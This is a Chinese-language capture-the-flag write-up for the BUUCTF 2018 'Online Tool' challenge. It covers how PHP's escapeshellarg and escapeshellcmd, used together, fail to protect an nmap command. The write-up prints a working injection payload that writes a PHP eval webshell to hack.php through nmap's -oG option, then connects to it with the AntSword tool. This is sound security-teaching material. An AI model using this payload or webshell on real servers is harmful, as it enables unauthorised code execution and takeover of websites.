[BUUCTF 2018]Online Tool

这里可以看到会创建一个文件以你输入进去的文件命名
三个点,一个是最后一行是什么意思
第二个是escapeshellarg和escapeshellcmd是什么意思
第三个,payload长啥样
1、
nmap -T5 -sT -Pn --host-timeout 2 -F host |
2、
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数 |
也就是说前后互相抵消了
3、
这里采用的是,将一句话木马写入文件中在通过蚁剑读取文件
?host=' <?php eval($_POST["hack"]);?> -oG hack.php |
将前面的一句话木马写入hack.php中
会发现

你处于这个文件夹之下,所以在这个文件夹下开启hackbar.php
之后通过蚁剑连接网站
http://76fc35ad-270b-4945-96ce-a4c8c3809cd0.node5.buuoj.cn:81/71622f2db96673162a8eedefbeeae0ee/hack.php |
从而找到flag
总结
这道题的最重要的一点在于escape两个函数的应用
之后要去好好看看各自的作用
arg:
简单地说,如果输入内容不包含单引号,则直接对输入的字符串添加一对单引号括起来;如果输入内容包含单引号,则先对该单引号进行转义,再对剩余部分字符串添加相应对数的单引号括起来。
看个例子就知道了:
<?php |
先输入字符串mi1k7ea,看到escapeshellarg()会给该字符串整个加上单引号括起来,加起来总共9个字符:
'mi1k7ea' |
输入mi1k’7ea,看到先转义了中间这个单引号,再分别在左右两边加上单引号括起来,加起来总共13个字符:
'mi1k'\''7ea' |
cmd:
简单地说,第一,如果输入内容中上述出现的特殊字符会被反斜杠给转义掉;第二,如果单引号和双引号不是成对出现时,会被转义掉。
输入mi1k7ea,其中不包含以上特殊字符的字符串,是不会添加单引号括起来的,内容不变:
mi1k7ea |
输入’mi1k’7ea’;字符串,由于前面两个单引号成对了因此没有对其进行转义,而最后的单引号没有成对因此被转义掉,除此之外分号作为特殊字符也被转义处理:
'mi1k'7ea\' |